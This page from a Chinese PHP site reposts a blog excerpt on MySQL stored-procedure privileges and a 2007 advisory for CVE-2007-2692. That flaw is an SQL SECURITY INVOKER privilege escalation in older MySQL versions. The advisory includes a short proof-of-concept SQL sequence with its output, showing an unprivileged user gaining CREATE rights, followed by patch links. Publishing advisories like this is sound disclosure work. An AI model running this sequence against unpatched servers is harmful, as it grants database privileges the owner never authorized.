文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>mysql存储过程权限

mysql存储过程权限

时间:2009-08-18  来源:sss0213

下面摘自: http://blog.sina.com.cn/s/blog_550ffb0b0100dzox.html  今天给线上一台服务器的添加存储过程,同样的代码在测试机上OK,在线上就Access Denied,show grants for user了一下,看到有create权限,以为对存储过程也适用,又检查了一下代码试验了几次,还是不行,于是google之,在百度知道里看到了如下的介绍,原来存储过程虽然用的相同的create,alter但是权限是单独的,看来mysql手册里的索引查找方式并不是单个的词是有原因的,例如索引里不只是存在show,而是存在show tables、show processlist等关键词。。。。。。。

mysql的存储过程也出来许久了(昨天看到一片今年一月的一片文章说mysql没有存储过程,很郁闷,难道大家的观念已经根深蒂固到如此的程度了?)但是网上的资料却少之又少,更别说书上了。为了让大家少走点弯路—— 下面提到的将是几个在使用存储过程的时候需要的几个小细节。 首先,在mysql存储过程出现的同时,用户权限也增加了5种,其中和存储过程有关的权限有 三种: ALTER ROUTINE 编辑或删除存储过程 CREATE ROUTINE 建立存储过程 EXECUTE 运行存储过程 在使用GRANT创建用户的时候分配这三种权限。 存储过程在运行的时候默认是使用建立者的权限运行的。 需要注意的是在一个用户拥有建立存储过程的权限时,如果其没有对于select、update或delete等权限的话,虽然操作数据的存储过程可以建立,但调用存储过程的话仍是无法成功的,会返回权限错误,就算拥有运行存储过程的权限也一样。所以,如果有人给你建立了一个没有select、update、delete权限只有CREATE ROUTINE权限的用户,骂他吧,他是故意的。 当然这样的用户建立的存储过程倒并不是完全不能使用,创建存储过程中有一个特征子句可以让存储过程使用运行者的权限,在建立存储过程后只要加上SQL SECURITY INVOKER特征子句就可以了。如下。 CREATE PROCEDURE p() SQL SECURITY INVOKER 这样的话就可以分配两批人,一批给与创建存储过程的权限,作为开发者,一批给与运行存储过程和select、update、delete权限,作为测试者。(脑筋秀逗了)
 有了这种权限分配,mysql的安全性完全不需要在功能层去保护了,我通过root用户建立的存储过程,但是在功能层用一个只拥有运行存储过程权限的用户来调用。那么,你就算从功能层上得到数据库的用户名和密码,并且模拟了ip,也不能得到你想要的任何东西。 有了权限,我们可以放心大胆的使用存储过程,不用担心安全问题了。   下面摘自:http://www.ykzj.org/2009/03/04/ykzj-it-article-71786.html

MySQL SQL SECURITY INVOKER存储过程权限提升漏洞

发布日期:2007-05-16

更新日期:2007-05-18

受影响系统:

MySQL AB MySQL 5.1.x < 5.1.18

MySQL AB MySQL 5.0.x < 5.0.40

不受影响系统:

MySQL AB MySQL 5.1.18

MySQL AB MySQL 5.0.40

描述:BUGTRAQ ID: 24011

CVE(CAN) ID: CVE-2007-2692

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL在处理SQL SECURITY INVOKER存储过程的返回状态时存在漏洞,本地攻击者可能利用此漏洞提升在数据库系统中的权限。

在从SQL SECURITY INVOKER存储过程返回时MySQL中的mysql_change_db函数没有恢复THD::db_access权限,这可能允许远程已认证用户获得权限提升。仅在用SQL SECURITY INVOKER定义了例程的情况下才会出现这个漏洞,如果使用SQL SECURITY DEFINER定义的话就可以在definer和invoker之间正确地切换安全环境。

<*来源:Alexander Nozdrin

链接:http://bugs.mysql.com/bug.php?id=27337

http://secunia.com/advisories/25301/

*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

– 以root@mysql身份登录

CREATE DATABASE db1;

CREATE DATABASE db2;

GRANT ALL PRIVILEGES ON db1.* TO u1@localhost;

CREATE PROCEDURE db1.p1() SQL SECURITY INVOKER SELECT 1;

– 以u1@db2身份登录

CREATE TABLE t1(c INT);

Error: CREATE command denied to user %26#39;u1%26#39;@%26#39;localhost%26#39; for table %26#39;t1%26#39;

CALL db1.p1();

CREATE TABLE t1(c INT);

Success!!! (it is a security breach)

– 以u1@db2身份登录

CREATE TABLE t1(c INT);

Error: CREATE command denied to user %26#39;u1%26#39;@%26#39;localhost%26#39; for table %26#39;t1%26#39;

建议:厂商补丁:

MySQL AB

——–

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://dev.mysql.com/get/Downloads/MySQL-5.0/mysql-5.0.41.tar.gz/from/pick

http://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.18-beta.tar.gz/from/pick

相关阅读 更多 +
排行榜 更多 +
辰域智控app

辰域智控app

系统工具 下载
网医联盟app

网医联盟app

运动健身 下载
汇丰汇选App

汇丰汇选App

金融理财 下载